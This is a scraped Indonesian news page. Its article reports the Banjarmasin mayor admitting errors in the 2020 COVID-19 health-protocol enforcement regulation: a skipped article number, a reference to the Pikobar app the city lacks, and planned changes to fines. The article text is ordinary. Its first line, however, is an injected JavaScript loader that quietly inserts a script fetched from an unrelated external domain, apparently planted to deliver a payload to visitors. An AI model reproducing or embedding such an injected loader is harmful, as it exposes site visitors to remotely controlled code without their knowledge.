(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Bayar Denda Tapi Belum Ada Aplikasi, Perwali Protokol Kesehatan di Banjarmasin Direvisi


KANALKALIMANTAN.COM, BANJARMASIN – Masih dalam tahap sosialisasi, Peraturan Wali Kota (Perwali) Banjarmasin No 60 tahun 2020 tentang pelaksanaan penegakan hukum protokol kesehatan Covid-19 ternyata didapati masih ada kekeliruan.

Seperti tidak ada pasal 14 dalam Perwali yang telah ditandatangani Wali Kota Banjarmasin Ibnu Sina. Dimana, dari pasal 13 langsung lompat ke pasal 15. Tentunya, ini merupakan kesalahan fatal dalam pembuatan payung hukum di kota Banjarmasin.

Nah, saat dikonfirmasi Kanalkalimantan.com pada Rabu (12/8/2020) siang, Wali Kota Ibnu mengakui adanya kekeliruan dalam Perwali yang mengatur penegakan protokol kesehatan sebagai upaya menekan laju penularan Covid-19.

Menurut Ibnu Sina, pasal 15 yang ada dalam Perwali tersebut, oleh Bagian Hukum Setdako Banjarmasin sudah dikoreksi menjadi pasal 14.

Dalam perkembangannya, ada instruksi dari Mendagri yang baru diterima, menyebutkan bahwa ada pengurangan isi pasal dalan Perwali itu. Semula, ada 14 pasal dan akan berkurang menjadi 12 pasal.

“Ada perubahan di template-nya. Ini terkait dengan Perwali Nomor 60 Tahun 2020 tentang pelaksanaan penegakan hukum protokol kesehatan Covid-19 di Kota Banjarmasin, ada pengurangan pasal dari 14 pasal menjadi 12 pasal saja, sesuai dengan format yang diterima,” beber Ibnu Sina.

Selain itu, pada pasal 12 ayat (3) menyebutkan, pemberian sanksi berdasarkan pasal 12 ayat (1) huruf h tentang denda administratif, harus menggunakan e-tilang melalui aplikasi Pikobar. Padahal, hingga kini Pemko Banjarmasin belum memiliki aplikasi ini.

“Terkait Pikobar itu juga ada kesalahan. Nantinya pembayaran akan langsung ke kas daerah, dan tidak melalui aplikasi Pikobar,” kata Ibnu.

Diakui Ibnu, Pemko Banjarmasin hingga kini belum memiliki aplikasi Pikobar, yang saat ini baru digunakan oleh Pemprov Jawa Barat.  “Kita juga akan revisi definisi lebih konkret terkait dengan denda administrasi,” imbuh Ibnu.

Ia sendiri sempat menerima usulan dari Badan Keuangan Daerah (Bakeuda) Kota Banjarmasin bahwa denda administratif yang dimaksud tidak berupa uang tunai. Sebelumnya, Perwali menyebutkan bahwa denda administratif yang dikenakan sebesar Rp100 ribu.

“Misalnya, senilai Rp100 ribu tetapi berupa masker atau hand sanitizer misalnya. (Tetapi) di Perwali ini tetap (dengan cara) membayar. Setelah keluarnya Instruksi Menteri Dalam Negeri, ada rencana dari Bagian Hukum untuk merevisi sesuai instruksi menteri,” lugasnya.

Nantinya, masyarakat yang melanggar protokol kesehatan akan dikenakan denda uang tunai seperti yang telah diatur di dalam perwali. Dalam persidangan nanti akan dilakukan oleh Penyidik PNS (PPNS) Satpol PP Kota Banjarmasin.

Ibnu menambahkan, perwali ini tengah disosialisasikan selama 14 hari, hingga 20 Agustus 2020 mendatang. Nantinya, pada 21 Agustus 2020, sudah ada penegakan hukum terkait dengan penerapan protokol kesehatan. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

10 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

10 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

10 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

11 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

11 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

13 jam ago

This website uses cookies.